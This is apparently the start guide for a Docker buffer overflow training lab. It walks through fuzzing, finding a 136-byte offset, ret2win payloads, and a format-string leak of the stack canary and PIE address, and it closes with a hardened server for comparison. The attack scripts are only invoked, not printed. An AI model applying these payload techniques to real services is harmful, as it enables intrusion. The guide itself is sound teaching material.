

Start Here - Buffer Overflow Lab

This guide keeps the lab beginner-friendly. Start with Level 1, then move through Level 2 and Level 3 to see how protections change the attack.

1. Start the Lab

From this folder:

```
docker compose up --build -d
docker compose ps
```

All services should be `healthy`.

2. Enter the Attacker Container

```
docker exec -it attacker bash
```

The target binaries are already available in:

```
ls -la /targets
```

3. Recon

```
python3 scripts/00_recon.py
```

Look at the protection table. Level 1 has no canary and no PIE, so it is the easiest target.

4. Fuzz Level 1

```
python3 scripts/01_fuzzer.py
```

The fuzzer sends longer and longer `TRUN` inputs until the child process crashes.

5. Find the Offset

```
python3 scripts/02_find_offset.py
```

The important beginner number is:

```
offset = 136
```

That means:

```
128 bytes buffer + 8 bytes saved RBP = return address
```

6. Exploit Level 1

```
python3 scripts/03_exploit_level1.py
```

This uses a simple ret2win payload:

```
"A" * 136 + address_of(win)
```

Expected result:

```
RESULT: SUCCESS - win() reached and real /bin/sh opened in Docker.
```

The script then runs a demo inside a real `/bin/sh` process in the `victim-l1` Docker container:

```
whoami
pwd
ls
cat flag.txt
id
exit
```

For a hands-on session:

```
python3 scripts/03_exploit_level1.py --interactive
```

This is a real shell, but it is scoped to the isolated Docker lab container. Level 2 and Level 3 intentionally use restricted shells so the later lessons stay focused on NX, canary, PIE, and leaks.

7. Exploit Level 2 - NX Bypass

```
python3 scripts/04_exploit_level2.py
```

Level 2 has NX enabled. That means shellcode on the stack is blocked, so the exploit returns to existing code instead:

```
"A" * 136 + address_of(win)
```

Same post-exploitation idea, but with a restricted training shell. The lesson is that NX changes how exploitation works.

8. Exploit Level 3 - Leak First

```
python3 scripts/05_exploit_level3.py
```

Level 3 has canary + NX + PIE. The exploit must leak values first:

```
INFO %1$p.%2$p
%1$p -> stack canary
%2$p -> win() address after PIE relocation
```

Then it sends:

```
"A" * 136 + leaked_canary + "B" * 8 + leaked_win
```

Same restricted training shell, but now the student understands why info leaks matter.

9. Compare With the Safe Server

```
python3 scripts/06_verify_safe.py
```

The same style of attack fails because the safe server:

1. Rejects input longer than the buffer.
2. Copies data with an explicit size limit.
3. Does not use user input as a format string.
4. Is compiled with canary, NX, PIE, RELRO, and FORTIFY_SOURCE.

Reset

```
docker compose down -v  
docker compose up --build -d
```